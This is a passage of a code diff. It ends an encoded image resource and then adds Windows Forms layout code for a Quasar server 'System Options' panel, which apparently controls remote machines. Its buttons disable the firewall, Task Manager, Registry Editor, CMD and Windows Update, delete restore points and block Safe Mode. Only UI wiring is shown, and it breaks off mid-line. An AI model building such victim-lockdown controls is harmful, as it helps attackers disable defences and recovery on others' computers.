FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs new file mode 100755 index 0000000..f970d22 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.Designer.cs @@ -0,0 +1,348 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSystemOptions + { + private System.ComponentModel.IContainer components = null; + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) components.Dispose(); + base.Dispose(disposing); + } + #region Windows Form Designer generated code + private void InitializeComponent() + { + this.groupRegistry = new System.Windows.Forms.GroupBox(); + this.groupTaskMgr = new System.Windows.Forms.GroupBox(); + this.groupCmd = new System.Windows.Forms.GroupBox(); + this.groupFirewall = new System.Windows.Forms.GroupBox(); + this.groupRestorePoints = new System.Windows.Forms.GroupBox(); + this.groupPowerShell = new System.Windows.Forms.GroupBox(); + this.groupPsExec = new System.Windows.Forms.GroupBox(); + this.groupWinUpdate = new System.Windows.Forms.GroupBox(); + this.groupRdp = new System.Windows.Forms.GroupBox(); + this.groupUsb = new System.Windows.Forms.GroupBox(); + this.groupControlPanel = new System.Windows.Forms.GroupBox(); + this.groupRunDialog = new System.Windows.Forms.GroupBox(); + this.groupSafeMode = new System.Windows.Forms.GroupBox(); + this.btnEnableRegistry = new System.Windows.Forms.Button(); + this.btnDisableRegistry = new System.Windows.Forms.Button(); + this.btnEnableTaskMgr = new System.Windows.Forms.Button(); + this.btnDisableTaskMgr = new System.Windows.Forms.Button(); + this.btnEnableCmd = new System.Windows.Forms.Button(); + this.btnDisableCmd = new System.Windows.Forms.Button(); + this.btnEnableFirewall = new System.Windows.Forms.Button(); + this.btnDisableFirewall = new System.Windows.Forms.Button(); + this.btnDeleteRestorePoints = new System.Windows.Forms.Button(); + this.btnEnablePowerShell = new System.Windows.Forms.Button(); + this.btnDisablePowerShell= new System.Windows.Forms.Button(); + this.btnEnablePsExec = new System.Windows.Forms.Button(); + this.btnDisablePsExec = new System.Windows.Forms.Button(); + this.btnEnableWinUpdate = new System.Windows.Forms.Button(); + this.btnDisableWinUpdate = new System.Windows.Forms.Button(); + this.btnEnableRdp = new System.Windows.Forms.Button(); + this.btnDisableRdp = new System.Windows.Forms.Button(); + this.btnEnableUsb = new System.Windows.Forms.Button(); + this.btnDisableUsb = new System.Windows.Forms.Button(); + this.btnEnableControlPanel = new System.Windows.Forms.Button(); + this.btnDisableControlPanel = new System.Windows.Forms.Button(); + this.btnEnableRunDialog = new System.Windows.Forms.Button(); + this.btnDisableRunDialog = new System.Windows.Forms.Button(); + this.btnAllowSafeMode = new System.Windows.Forms.Button(); + this.btnBlockSafeMode = new System.Windows.Forms.Button(); + this.txtLog = new System.Windows.Forms.TextBox(); + this.groupRegistry.SuspendLayout(); + this.groupTaskMgr.SuspendLayout(); + this.groupCmd.SuspendLayout(); + this.groupFirewall.SuspendLayout(); + this.groupRestorePoints.SuspendLayout(); + this.groupPowerShell.SuspendLayout(); + this.groupPsExec.SuspendLayout(); + this.groupWinUpdate.SuspendLayout(); + this.groupRdp.SuspendLayout(); + this.groupUsb.SuspendLayout(); + this.groupControlPanel.SuspendLayout(); + this.groupRunDialog.SuspendLayout(); + this.groupSafeMode.SuspendLayout(); + this.SuspendLayout(); + // ROW0 COL0 - Registry Editor + this.groupRegistry.Controls.Add(this.btnEnableRegistry); + this.groupRegistry.Controls.Add(this.btnDisableRegistry); + this.groupRegistry.Location = new System.Drawing.Point(12, 12); + this.groupRegistry.Size = new System.Drawing.Size(260, 90); + this.groupRegistry.TabIndex = 0; this.groupRegistry.TabStop = false; + this.groupRegistry.Text = "Registry Editor"; this.groupRegistry.ForeColor = System.Drawing.Color.White; + this.btnEnableRegistry.Location = new System.Drawing.Point(12, 28); this.btnEnableRegistry.Size = new System.Drawing.Size(110, 44); + this.btnEnableRegistry.Text = "Enable"; this.btnEnableRegistry.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRegistry.BackColor = System.Drawing.Color.Transparent; this.btnEnableRegistry.ForeColor = System.Drawing.Color.White; + this.btnEnableRegistry.UseVisualStyleBackColor = false; this.btnEnableRegistry.Click += new System.EventHandler(this.btnEnableRegistry_Click); + this.btnDisableRegistry.Location = new System.Drawing.Point(132, 28); this.btnDisableRegistry.Size = new System.Drawing.Size(110, 44); + this.btnDisableRegistry.Text = "Disable"; this.btnDisableRegistry.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRegistry.BackColor = System.Drawing.Color.Transparent; this.btnDisableRegistry.ForeColor = System.Drawing.Color.White; + this.btnDisableRegistry.UseVisualStyleBackColor = false; this.btnDisableRegistry.Click += new System.EventHandler(this.btnDisableRegistry_Click); + // ROW0 COL1 - Task Manager + this.groupTaskMgr.Controls.Add(this.btnEnableTaskMgr); + this.groupTaskMgr.Controls.Add(this.btnDisableTaskMgr); + this.groupTaskMgr.Location = new System.Drawing.Point(284, 12); + this.groupTaskMgr.Size = new System.Drawing.Size(260, 90); + this.groupTaskMgr.TabIndex = 1; this.groupTaskMgr.TabStop = false; + this.groupTaskMgr.Text = "Task Manager"; this.groupTaskMgr.ForeColor = 